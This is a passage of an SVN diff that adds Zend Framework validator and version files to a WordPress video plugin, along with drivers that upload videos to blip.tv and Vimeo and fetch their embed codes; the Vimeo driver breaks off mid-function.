+'\x{8FBA}\x{8FBB}\x{8FBC}\x{8FBF}\x{8FC2}\x{8FC4}\x{8FC5}\x{8FCE}\x{8FD1}' .
+'\x{8FD4}\x{8FDA}\x{8FE2}\x{8FE5}\x{8FE6}\x{8FE9}\x{8FEA}\x{8FEB}\x{8FED}' .
+'\x{8FEF}\x{8FF0}\x{8FF4}\x{8FF7}\x{8FF8}\x{8FF9}\x{8FFA}\x{8FFD}\x{9000}' .
+'\x{9001}\x{9003}\x{9005}\x{9006}\x{900B}\x{900D}\x{900E}\x{900F}\x{9010}' .
+'\x{9011}\x{9013}\x{9014}\x{9015}\x{9016}\x{9017}\x{9019}\x{901A}\x{901D}' .
+'\x{901E}\x{901F}\x{9020}\x{9021}\x{9022}\x{9023}\x{9027}\x{902E}\x{9031}' .
+'\x{9032}\x{9035}\x{9036}\x{9038}\x{9039}\x{903C}\x{903E}\x{9041}\x{9042}' .
+'\x{9045}\x{9047}\x{9049}\x{904A}\x{904B}\x{904D}\x{904E}\x{904F}\x{9050}' .
+'\x{9051}\x{9052}\x{9053}\x{9054}\x{9055}\x{9056}\x{9058}\x{9059}\x{905C}' .
+'\x{905E}\x{9060}\x{9061}\x{9063}\x{9065}\x{9068}\x{9069}\x{906D}\x{906E}' .
+'\x{906F}\x{9072}\x{9075}\x{9076}\x{9077}\x{9078}\x{907A}\x{907C}\x{907D}' .
+'\x{907F}\x{9080}\x{9081}\x{9082}\x{9083}\x{9084}\x{9087}\x{9089}\x{908A}' .
+'\x{908F}\x{9091}\x{90A3}\x{90A6}\x{90A8}\x{90AA}\x{90AF}\x{90B1}\x{90B5}' .
+'\x{90B8}\x{90C1}\x{90CA}\x{90CE}\x{90DB}\x{90E1}\x{90E2}\x{90E4}\x{90E8}' .
+'\x{90ED}\x{90F5}\x{90F7}\x{90FD}\x{9102}\x{9112}\x{9119}\x{912D}\x{9130}' .
+'\x{9132}\x{9149}\x{914A}\x{914B}\x{914C}\x{914D}\x{914E}\x{9152}\x{9154}' .
+'\x{9156}\x{9158}\x{9162}\x{9163}\x{9165}\x{9169}\x{916A}\x{916C}\x{9172}' .
+'\x{9173}\x{9175}\x{9177}\x{9178}\x{9182}\x{9187}\x{9189}\x{918B}\x{918D}' .
+'\x{9190}\x{9192}\x{9197}\x{919C}\x{91A2}\x{91A4}\x{91AA}\x{91AB}\x{91AF}' .
+'\x{91B4}\x{91B5}\x{91B8}\x{91BA}\x{91C0}\x{91C1}\x{91C6}\x{91C7}\x{91C8}' .
+'\x{91C9}\x{91CB}\x{91CC}\x{91CD}\x{91CE}\x{91CF}\x{91D0}\x{91D1}\x{91D6}' .
+'\x{91D8}\x{91DB}\x{91DC}\x{91DD}\x{91DF}\x{91E1}\x{91E3}\x{91E6}\x{91E7}' .
+'\x{91F5}\x{91F6}\x{91FC}\x{91FF}\x{920D}\x{920E}\x{9211}\x{9214}\x{9215}' .
+'\x{921E}\x{9229}\x{922C}\x{9234}\x{9237}\x{923F}\x{9244}\x{9245}\x{9248}' .
+'\x{9249}\x{924B}\x{9250}\x{9257}\x{925A}\x{925B}\x{925E}\x{9262}\x{9264}' .
+'\x{9266}\x{9271}\x{927E}\x{9280}\x{9283}\x{9285}\x{9291}\x{9293}\x{9295}' .
+'\x{9296}\x{9298}\x{929A}\x{929B}\x{929C}\x{92AD}\x{92B7}\x{92B9}\x{92CF}' .
+'\x{92D2}\x{92E4}\x{92E9}\x{92EA}\x{92ED}\x{92F2}\x{92F3}\x{92F8}\x{92FA}' .
+'\x{92FC}\x{9306}\x{930F}\x{9310}\x{9318}\x{9319}\x{931A}\x{9320}\x{9322}' .
+'\x{9323}\x{9326}\x{9328}\x{932B}\x{932C}\x{932E}\x{932F}\x{9332}\x{9335}' .
+'\x{933A}\x{933B}\x{9344}\x{934B}\x{934D}\x{9354}\x{9356}\x{935B}\x{935C}' .
+'\x{9360}\x{936C}\x{936E}\x{9375}\x{937C}\x{937E}\x{938C}\x{9394}\x{9396}' .
+'\x{9397}\x{939A}\x{93A7}\x{93AC}\x{93AD}\x{93AE}\x{93B0}\x{93B9}\x{93C3}' .
+'\x{93C8}\x{93D0}\x{93D1}\x{93D6}\x{93D7}\x{93D8}\x{93DD}\x{93E1}\x{93E4}' .
+'\x{93E5}\x{93E8}\x{9403}\x{9407}\x{9410}\x{9413}\x{9414}\x{9418}\x{9419}' .
+'\x{941A}\x{9421}\x{942B}\x{9435}\x{9436}\x{9438}\x{943A}\x{9441}\x{9444}' .
+'\x{9451}\x{9452}\x{9453}\x{945A}\x{945B}\x{945E}\x{9460}\x{9462}\x{946A}' .
+'\x{9470}\x{9475}\x{9477}\x{947C}\x{947D}\x{947E}\x{947F}\x{9481}\x{9577}' .
+'\x{9580}\x{9582}\x{9583}\x{9587}\x{9589}\x{958A}\x{958B}\x{958F}\x{9591}' .
+'\x{9593}\x{9594}\x{9596}\x{9598}\x{9599}\x{95A0}\x{95A2}\x{95A3}\x{95A4}' .
+'\x{95A5}\x{95A7}\x{95A8}\x{95AD}\x{95B2}\x{95B9}\x{95BB}\x{95BC}\x{95BE}' .
+'\x{95C3}\x{95C7}\x{95CA}\x{95CC}\x{95CD}\x{95D4}\x{95D5}\x{95D6}\x{95D8}' .
+'\x{95DC}\x{95E1}\x{95E2}\x{95E5}\x{961C}\x{9621}\x{9628}\x{962A}\x{962E}' .
+'\x{962F}\x{9632}\x{963B}\x{963F}\x{9640}\x{9642}\x{9644}\x{964B}\x{964C}' .
+'\x{964D}\x{964F}\x{9650}\x{965B}\x{965C}\x{965D}\x{965E}\x{965F}\x{9662}' .
+'\x{9663}\x{9664}\x{9665}\x{9666}\x{966A}\x{966C}\x{9670}\x{9672}\x{9673}' .
+'\x{9675}\x{9676}\x{9677}\x{9678}\x{967A}\x{967D}\x{9685}\x{9686}\x{9688}' .
+'\x{968A}\x{968B}\x{968D}\x{968E}\x{968F}\x{9694}\x{9695}\x{9697}\x{9698}' .
+'\x{9699}\x{969B}\x{969C}\x{96A0}\x{96A3}\x{96A7}\x{96A8}\x{96AA}\x{96B0}' .
+'\x{96B1}\x{96B2}\x{96B4}\x{96B6}\x{96B7}\x{96B8}\x{96B9}\x{96BB}\x{96BC}' .
+'\x{96C0}\x{96C1}\x{96C4}\x{96C5}\x{96C6}\x{96C7}\x{96C9}\x{96CB}\x{96CC}' .
+'\x{96CD}\x{96CE}\x{96D1}\x{96D5}\x{96D6}\x{96D9}\x{96DB}\x{96DC}\x{96E2}' .
+'\x{96E3}\x{96E8}\x{96EA}\x{96EB}\x{96F0}\x{96F2}\x{96F6}\x{96F7}\x{96F9}' .
+'\x{96FB}\x{9700}\x{9704}\x{9706}\x{9707}\x{9708}\x{970A}\x{970D}\x{970E}' .
+'\x{970F}\x{9711}\x{9713}\x{9716}\x{9719}\x{971C}\x{971E}\x{9724}\x{9727}' .
+'\x{972A}\x{9730}\x{9732}\x{9738}\x{9739}\x{973D}\x{973E}\x{9742}\x{9744}' .
+'\x{9746}\x{9748}\x{9749}\x{9752}\x{9756}\x{9759}\x{975C}\x{975E}\x{9760}' .
+'\x{9761}\x{9762}\x{9764}\x{9766}\x{9768}\x{9769}\x{976B}\x{976D}\x{9771}' .
+'\x{9774}\x{9779}\x{977A}\x{977C}\x{9781}\x{9784}\x{9785}\x{9786}\x{978B}' .
+'\x{978D}\x{978F}\x{9790}\x{9798}\x{979C}\x{97A0}\x{97A3}\x{97A6}\x{97A8}' .
+'\x{97AB}\x{97AD}\x{97B3}\x{97B4}\x{97C3}\x{97C6}\x{97C8}\x{97CB}\x{97D3}' .
+'\x{97DC}\x{97ED}\x{97EE}\x{97F2}\x{97F3}\x{97F5}\x{97F6}\x{97FB}\x{97FF}' .
+'\x{9801}\x{9802}\x{9803}\x{9805}\x{9806}\x{9808}\x{980C}\x{980F}\x{9810}' .
+'\x{9811}\x{9812}\x{9813}\x{9817}\x{9818}\x{981A}\x{9821}\x{9824}\x{982C}' .
+'\x{982D}\x{9834}\x{9837}\x{9838}\x{983B}\x{983C}\x{983D}\x{9846}\x{984B}' .
+'\x{984C}\x{984D}\x{984E}\x{984F}\x{9854}\x{9855}\x{9858}\x{985B}\x{985E}' .
+'\x{9867}\x{986B}\x{986F}\x{9870}\x{9871}\x{9873}\x{9874}\x{98A8}\x{98AA}' .
+'\x{98AF}\x{98B1}\x{98B6}\x{98C3}\x{98C4}\x{98C6}\x{98DB}\x{98DC}\x{98DF}' .
+'\x{98E2}\x{98E9}\x{98EB}\x{98ED}\x{98EE}\x{98EF}\x{98F2}\x{98F4}\x{98FC}' .
+'\x{98FD}\x{98FE}\x{9903}\x{9905}\x{9909}\x{990A}\x{990C}\x{9910}\x{9912}' .
+'\x{9913}\x{9914}\x{9918}\x{991D}\x{991E}\x{9920}\x{9921}\x{9924}\x{9928}' .
+'\x{992C}\x{992E}\x{993D}\x{993E}\x{9942}\x{9945}\x{9949}\x{994B}\x{994C}' .
+'\x{9950}\x{9951}\x{9952}\x{9955}\x{9957}\x{9996}\x{9997}\x{9998}\x{9999}' .
+'\x{99A5}\x{99A8}\x{99AC}\x{99AD}\x{99AE}\x{99B3}\x{99B4}\x{99BC}\x{99C1}' .
+'\x{99C4}\x{99C5}\x{99C6}\x{99C8}\x{99D0}\x{99D1}\x{99D2}\x{99D5}\x{99D8}' .
+'\x{99DB}\x{99DD}\x{99DF}\x{99E2}\x{99ED}\x{99EE}\x{99F1}\x{99F2}\x{99F8}' .
+'\x{99FB}\x{99FF}\x{9A01}\x{9A05}\x{9A0E}\x{9A0F}\x{9A12}\x{9A13}\x{9A19}' .
+'\x{9A28}\x{9A2B}\x{9A30}\x{9A37}\x{9A3E}\x{9A40}\x{9A42}\x{9A43}\x{9A45}' .
+'\x{9A4D}\x{9A55}\x{9A57}\x{9A5A}\x{9A5B}\x{9A5F}\x{9A62}\x{9A64}\x{9A65}' .
+'\x{9A69}\x{9A6A}\x{9A6B}\x{9AA8}\x{9AAD}\x{9AB0}\x{9AB8}\x{9ABC}\x{9AC0}' .
+'\x{9AC4}\x{9ACF}\x{9AD1}\x{9AD3}\x{9AD4}\x{9AD8}\x{9ADE}\x{9ADF}\x{9AE2}' .
+'\x{9AE3}\x{9AE6}\x{9AEA}\x{9AEB}\x{9AED}\x{9AEE}\x{9AEF}\x{9AF1}\x{9AF4}' .
+'\x{9AF7}\x{9AFB}\x{9B06}\x{9B18}\x{9B1A}\x{9B1F}\x{9B22}\x{9B23}\x{9B25}' .
+'\x{9B27}\x{9B28}\x{9B29}\x{9B2A}\x{9B2E}\x{9B2F}\x{9B31}\x{9B32}\x{9B3B}' .
+'\x{9B3C}\x{9B41}\x{9B42}\x{9B43}\x{9B44}\x{9B45}\x{9B4D}\x{9B4E}\x{9B4F}' .
+'\x{9B51}\x{9B54}\x{9B58}\x{9B5A}\x{9B6F}\x{9B74}\x{9B83}\x{9B8E}\x{9B91}' .
+'\x{9B92}\x{9B93}\x{9B96}\x{9B97}\x{9B9F}\x{9BA0}\x{9BA8}\x{9BAA}\x{9BAB}' .
+'\x{9BAD}\x{9BAE}\x{9BB4}\x{9BB9}\x{9BC0}\x{9BC6}\x{9BC9}\x{9BCA}\x{9BCF}' .
+'\x{9BD1}\x{9BD2}\x{9BD4}\x{9BD6}\x{9BDB}\x{9BE1}\x{9BE2}\x{9BE3}\x{9BE4}' .
+'\x{9BE8}\x{9BF0}\x{9BF1}\x{9BF2}\x{9BF5}\x{9C04}\x{9C06}\x{9C08}\x{9C09}' .
+'\x{9C0A}\x{9C0C}\x{9C0D}\x{9C10}\x{9C12}\x{9C13}\x{9C14}\x{9C15}\x{9C1B}' .
+'\x{9C21}\x{9C24}\x{9C25}\x{9C2D}\x{9C2E}\x{9C2F}\x{9C30}\x{9C32}\x{9C39}' .
+'\x{9C3A}\x{9C3B}\x{9C3E}\x{9C46}\x{9C47}\x{9C48}\x{9C52}\x{9C57}\x{9C5A}' .
+'\x{9C60}\x{9C67}\x{9C76}\x{9C78}\x{9CE5}\x{9CE7}\x{9CE9}\x{9CEB}\x{9CEC}' .
+'\x{9CF0}\x{9CF3}\x{9CF4}\x{9CF6}\x{9D03}\x{9D06}\x{9D07}\x{9D08}\x{9D09}' .
+'\x{9D0E}\x{9D12}\x{9D15}\x{9D1B}\x{9D1F}\x{9D23}\x{9D26}\x{9D28}\x{9D2A}' .
+'\x{9D2B}\x{9D2C}\x{9D3B}\x{9D3E}\x{9D3F}\x{9D41}\x{9D44}\x{9D46}\x{9D48}' .
+'\x{9D50}\x{9D51}\x{9D59}\x{9D5C}\x{9D5D}\x{9D5E}\x{9D60}\x{9D61}\x{9D64}' .
+'\x{9D6C}\x{9D6F}\x{9D72}\x{9D7A}\x{9D87}\x{9D89}\x{9D8F}\x{9D9A}\x{9DA4}' .
+'\x{9DA9}\x{9DAB}\x{9DAF}\x{9DB2}\x{9DB4}\x{9DB8}\x{9DBA}\x{9DBB}\x{9DC1}' .
+'\x{9DC2}\x{9DC4}\x{9DC6}\x{9DCF}\x{9DD3}\x{9DD9}\x{9DE6}\x{9DED}\x{9DEF}' .
+'\x{9DF2}\x{9DF8}\x{9DF9}\x{9DFA}\x{9DFD}\x{9E1A}\x{9E1B}\x{9E1E}\x{9E75}' .
+'\x{9E78}\x{9E79}\x{9E7D}\x{9E7F}\x{9E81}\x{9E88}\x{9E8B}\x{9E8C}\x{9E91}' .
+'\x{9E92}\x{9E93}\x{9E95}\x{9E97}\x{9E9D}\x{9E9F}\x{9EA5}\x{9EA6}\x{9EA9}' .
+'\x{9EAA}\x{9EAD}\x{9EB8}\x{9EB9}\x{9EBA}\x{9EBB}\x{9EBC}\x{9EBE}\x{9EBF}' .
+'\x{9EC4}\x{9ECC}\x{9ECD}\x{9ECE}\x{9ECF}\x{9ED0}\x{9ED2}\x{9ED4}\x{9ED8}' .
+'\x{9ED9}\x{9EDB}\x{9EDC}\x{9EDD}\x{9EDE}\x{9EE0}\x{9EE5}\x{9EE8}\x{9EEF}' .
+'\x{9EF4}\x{9EF6}\x{9EF7}\x{9EF9}\x{9EFB}\x{9EFC}\x{9EFD}\x{9F07}\x{9F08}' .
+'\x{9F0E}\x{9F13}\x{9F15}\x{9F20}\x{9F21}\x{9F2C}\x{9F3B}\x{9F3E}\x{9F4A}' .
+'\x{9F4B}\x{9F4E}\x{9F4F}\x{9F52}\x{9F54}\x{9F5F}\x{9F60}\x{9F61}\x{9F62}' .
+'\x{9F63}\x{9F66}\x{9F67}\x{9F6A}\x{9F6C}\x{9F72}\x{9F76}\x{9F77}\x{9F8D}' .
+'\x{9F95}\x{9F9C}\x{9F9D}\x{9FA0}]{1,15}$/iu');
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Interface.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Interface.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Interface.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Interface.php 8064 2008-02-16 10:58:39Z thomas $
+ */
+
+
+/**
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+interface Zend_Validate_Interface
+{
+    /**
+     * Returns true if and only if $value meets the validation requirements
+     *
+     * If $value fails validation, then this method returns false, and
+     * getMessages() will return an array of messages that explain why the
+     * validation failed.
+     *
+     * @param  mixed $value
+     * @return boolean
+     * @throws Zend_Valid_Exception If validation of $value is impossible
+     */
+    public function isValid($value);
+
+    /**
+     * Returns an array of messages that explain why the most recent isValid()
+     * call returned false. The array keys are validation failure message identifiers,
+     * and the array values are the corresponding human-readable message strings.
+     *
+     * If isValid() was never called or if the most recent isValid() call
+     * returned true, then this method returns an empty array.
+     *
+     * @return array
+     */
+    public function getMessages();
+
+    /**
+     * Returns an array of message codes that explain why a previous isValid() call
+     * returned false.
+     *
+     * If isValid() was never called or if the most recent isValid() call
+     * returned true, then this method returns an empty array.
+     *
+     * This is now the same as calling array_keys() on the return value from getMessages().
+     *
+     * @return array
+     * @deprecated Since 1.5.0
+     */
+    public function getErrors();
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Ip.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Ip.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Validate/Ip.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Ip.php 13104 2008-12-08 22:31:50Z tjohns $
+ */
+
+/**
+ * @see Zend_Validate_Abstract
+ */
+require_once 'Zend/Validate/Abstract.php';
+
+/**
+ * @category   Zend
+ * @package    Zend_Validate
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Validate_Ip extends Zend_Validate_Abstract
+{
+    const NOT_IP_ADDRESS = 'notIpAddress';
+
+    /**
+     * @var array
+     */
+    protected $_messageTemplates = array(
+        self::NOT_IP_ADDRESS => "'%value%' does not appear to be a valid IP address"
+    );
+
+    /**
+     * Defined by Zend_Validate_Interface
+     *
+     * Returns true if and only if $value is a valid IP address
+     *
+     * @param  mixed $value
+     * @return boolean
+     */
+    public function isValid($value)
+    {
+        $valueString = (string) $value;
+
+        $this->_setValue($valueString);
+
+        if ((ip2long($valueString) === false) || (long2ip(ip2long($valueString)) !== $valueString)) {
+            if (!function_exists('inet_pton')) {
+                $this->_error();
+                return false;
+            } else if ((@inet_pton($value) === false) ||(inet_ntop(@inet_pton($value)) !== $valueString)) {
+                $this->_error();
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Version.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Version.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Version.php	(revision 44)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Version
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Version.php 15524 2009-05-11 16:01:00Z alexander $
+ */
+
+/**
+ * Class to store and retrieve the version of Zend Framework.
+ *
+ * @category   Zend
+ * @package    Zend_Version
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+final class Zend_Version
+{
+    /**
+     * Zend Framework version identification - see compareVersion()
+     */
+    const VERSION = '1.8.1';
+
+    /**
+     * Compare the specified Zend Framework version string $version
+     * with the current Zend_Version::VERSION of Zend Framework.
+     *
+     * @param  string  $version  A version string (e.g. "0.7.1").
+     * @return boolean           -1 if the $version is older,
+     *                           0 if they are the same,
+     *                           and +1 if $version is newer.
+     *
+     */
+    public static function compareVersion($version)
+    {
+        return version_compare($version, self::VERSION);
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/bliptv.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/bliptv.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/bliptv.php	(revision 44)
@@ -0,0 +1,205 @@
+<?php
+
+/*
+Author: Edgar de Le&oacute;n - edeleon
+Author URI: http://www.sinctrl.com/edeleon
+Description: Lets you attach a video to a post and upload to most popular video distribution sites like YouTube, Vimeo and Blip.tv, after video is uploaded and processed get and inserts the embed code from the sites into custom fields on the post.  The plugin has de possibility to extend any other distribution site creating extra drivers
+License: GPL (http://www.fsf.org/licensing/licenses/info/GPLv2.html) 
+*/
+
+function bliptv_settings() {
+	$service_config = Array(
+		'service' 	=> "bliptv",      //File with actions must be named like $service
+		'service_url' => "blip.tv",
+		'username' 	=> "username",
+		'password' 	=> "passwd",
+		'enabled' 	=> false
+	);
+	return $service_config;
+}
+
+function bliptv_extras() {
+	//ini_get('max_execution_time'); // to Retrieve execution time
+	//set_time_limit(60); // to set time limit
+	
+	$c = curl_init("http://www.blip.tv/?section=categories&cmd=view&skin=api");
+  	curl_setopt($c, CURLOPT_HEADER, 0);
+ 	curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE);
+  	$data = curl_exec($c);
+  	$xml = simplexml_load_string($data);
+  	curl_close($c);
+  	$category = array();
+	  if ($xml->status == "OK") {   
+	    foreach ($xml->payload->category as $categorydata) {
+	    	$id = intval($categorydata->id);
+			$category[$id] = (string)$categorydata->name;   		
+		} 
+		 
+	  } else {
+	    $category = array();
+	  }
+	  
+	$c = curl_init("http://www.blip.tv/?section=licenses&cmd=view&skin=api");
+  	curl_setopt($c, CURLOPT_HEADER, 0);
+ 	curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE);
+  	$data = curl_exec($c);
+  	$xml = simplexml_load_string($data);
+  	curl_close($c);
+  	$license = array();
+	  if ($xml->status == "OK") {   
+	    foreach ($xml->payload->license as $licensedata) {
+	    	$id = intval($licensedata->id);
+			$license[$id] = (string)$licensedata->name;   		
+		} 
+		 
+	  } else {
+	    $license = array();
+	  }
+
+	  if (empty($category) && empty($license)) {
+	  	$extras = array();
+	  } else {
+	  	$extras = array('category' => $category, 'license' => $license);
+	  }
+	  
+	return $extras;
+}
+
+function upload_bliptv($settings,$entry) {
+	//ini_get('max_execution_time'); // to Retrieve execution time
+	//set_time_limit(60*10);
+	$username = $settings['username'];
+	$password = $settings['password'];
+	$license = intval($settings['license']);
+	$category = intval($settings['category']);
+	
+	$upload_status = '';
+	$error = false;
+	$file = $entry['fileinfo'];
+
+		$postfields = array(
+	    'section' => 'file',
+	    'cmd' => 'post',
+	    'post' => 1,
+	    'userlogin' => $username,
+	    'password' => $password,
+	    'title' => htmlspecialchars(stripslashes($entry['titulo'])),
+	    'description' => htmlspecialchars(stripslashes($entry['desc'])),
+	    'topics' => htmlspecialchars(stripslashes($entry['tags'])),
+	    'license' => $license,
+	    'categories_id' => $category,
+	    'file' => '@'.$file,
+	  	);
+  	
+  	  $c = curl_init("http://uploads.blip.tv?skin=api");
+	  curl_setopt($c, CURLOPT_POST, TRUE);
+	  curl_setopt($c, CURLOPT_HEADER, 0);
+	  curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
+	  curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE);
+	  $data = curl_exec($c);
+	  $xml = simplexml_load_string($data);
+	  curl_close($c);
+  
+	  if ($xml->status == "OK") {
+	    $videoid = (string)$xml->payload->asset->item_id;
+	    $upload_status_desc = 'processing';	    
+	    $retry = false;
+	  } else {
+	  	$upload_status = 'error';
+	  	$error = true;
+	  	$upload_status_desc = (string)$error_desc = $xml->error->code ."-". $xml->error->message;
+	  	$retry = true;
+	  }
+	  
+	//Preparar la respuesta
+	$service_response = array();
+	$service_response['service'] = 'bliptv';
+	$service_response['video_id'] = $videoid;
+	$service_response['status'] = $upload_status;
+	$service_response['status_description'] = $upload_status_desc;
+	$service_response['error'] = $error;
+	$service_response['error_description'] = $error_desc;
+	$service_response['retry'] = $retry;
+	return $service_response;	  
+}
+
+function getembed_bliptv($settings,$videodata) {
+	$error = false; $embed_code = ''; $retry = true;
+	//ini_get('max_execution_time'); // to Retrieve execution time
+	//set_time_limit(60*5); // to set time limit
+	$id = $videodata['video_id'];
+	
+	$c = curl_init("http://www.blip.tv/file/$id?skin=api");
+  	curl_setopt($c, CURLOPT_HEADER, 0);
+ 	curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE);
+  	$data = curl_exec($c);
+  	$xml = simplexml_load_string($data);
+  	curl_close($c);
+  	
+  if ($xml->status == "OK") {   
+    $videoid = $xml->payload->asset->item_id;
+    if ($xml->payload->asset->deleted == "true") { 
+    	$upload_status = 'error';
+    	$upload_status_desc = $error_desc = _("Video deleted");
+    	$error = true;
+    	$retry = false;
+    } else {
+     $views = $xml->payload->asset->views;
+     $title = $xml->payload->asset->title;
+     $license = $xml->payload->asset->license->name;
+     	$i = 0;
+	    foreach ($xml->payload->asset->mediaList->media as $media) {
+	    	foreach($media as $detail => $data) {
+	    		if ($detail == 'link') {
+	    			$attr = $data->Attributes();
+	    			foreach ($attr as $type => $value) {
+	    				$video_role[$i][$type] = (string)$value;
+	    			}
+	    			//echo $xml->payload->asset->mediaList->media->link->@attributes->href;
+	    		} else {
+	    			$video_role[$i][$detail] = (string)$data; 
+	    		}
+	    	}
+	    $i++;	
+	    } 
+	    $conversion = $xml->payload->asset->conversions->conversion;
+	    $upload_status_desc = $conversion->status."-".$conversion->target."-".$conversion->role;
+	    $embed_id = (string)$xml->payload->asset->embedLookup;
+	    $embed_url = (string)$xml->payload->asset->embedUrl;
+	    $embed_code = (string)$xml->payload->asset->embedCode;
+	    $video_url = "http://www.blip.tv/file/$id";
+	    $retry = false;
+	 }
+  } else {
+    $error_desc = (string)$xml->notice;
+    $error = false;  //File not found - video uploaded but cannot get the id
+    $retry = false;
+  }
+  
+  	//Preparar la respuesta
+	$service_response = array();
+	$service_response['service'] = 'bliptv';
+	$service_response['status'] = $upload_status;
+	$service_response['status_description'] = $upload_status_desc;
+	$service_response['error'] = $error;
+	$service_response['error_description'] = $error_desc;
+	$service_response['embed'] = $embed_code;
+	$service_response['watch_url'] = $video_url;
+	$service_response['retry'] = $retry;
+	$service_response['video_id'] = $videodata['video_id'];
+	//Optional data
+	$service_response['flv_source'] = $embed_url;
+	$role_options = array('href','duration','size');
+	foreach ($video_role as $item => $role) {
+		$rolename = $role['role'];
+		if (!empty($rolename)) {
+			foreach ($role as $data => $value) {
+				if (in_array($data,$role_options))
+					$service_response[$rolename."_".$data] = $value;
+			}
+		}
+	}
+	return $service_response;
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/vimeo.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/vimeo.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/vimeo.php	(revision 44)
@@ -0,0 +1,358 @@
+<?php
+
+function vimeo_settings() {
+	$service_config = Array(
+		'service' 	=> "vimeo",      //File with actions must be named like $service
+		'service_url' => "vimeo.com",
+		'username' 	=> "email@domain.com",
+		'password' 	=> "passwd",
+		'devkey' 	=> "api_key",
+		'api_secret' => "api_secret",
+		'enabled' 	=> false
+	);
+	return $service_config;
+}
+
+function vimeo_extras() {
+	$extras = array('privacy'=> array(	'anybody' => 'Anybody can view the video',
+										'contacts' => 'Only the the uploaders contacts can view the video',
+										'nobody' => 'Only the uploader can view the video'
+										)
+					);
+	return $extras;
+}
+
+function upload_vimeo($settings,$entry) {
+	$error = false; $retry = 0;
+	$upload_status = '';
+	$mail = $settings['username'];
+	$pass = $settings['password'];
+	$api_key = $settings['devkey'];
+	$api_secret = $settings['api_secret'];
+	$permisos = $settings['privacy'];
+
+	$file = $entry['fileinfo'];
+	@set_time_limit(0);
+	$title	  = htmlentities($entry['titulo'],	ENT_NOQUOTES, 'UTF-8');
+	$descripcion	= htmlentities($entry['desc'],	ENT_NOQUOTES, 'UTF-8');
+	$tags = htmlspecialchars(stripslashes($entry['tags']));
+	$cookie		 = tempnam (ABSPATH . get_option('upload_path') . '/', "VIMEO");
+	$api_login_url  = "http://www.vimeo.com/log_in";
+	$api_rest_url   = "http://www.vimeo.com/api/rest/";
+	$api_auth_url   = "http://www.vimeo.com/services/auth/";
+	$api_upload_url = "http://www.vimeo.com/services/upload/";
+	
+	if($file){
+		#login
+		$args = array(
+			'sign_in[email]'	=> $mail,
+			'sign_in[password]' => $pass
+		);
+		$login = source_extract($api_login_url, $args, '', '', true, $cookie);
+		#frob
+		$args = $_args = array(
+			'api_key'   => $api_key,
+			'perms'  => 'write',
+			'format'	=> 'php'
+		);
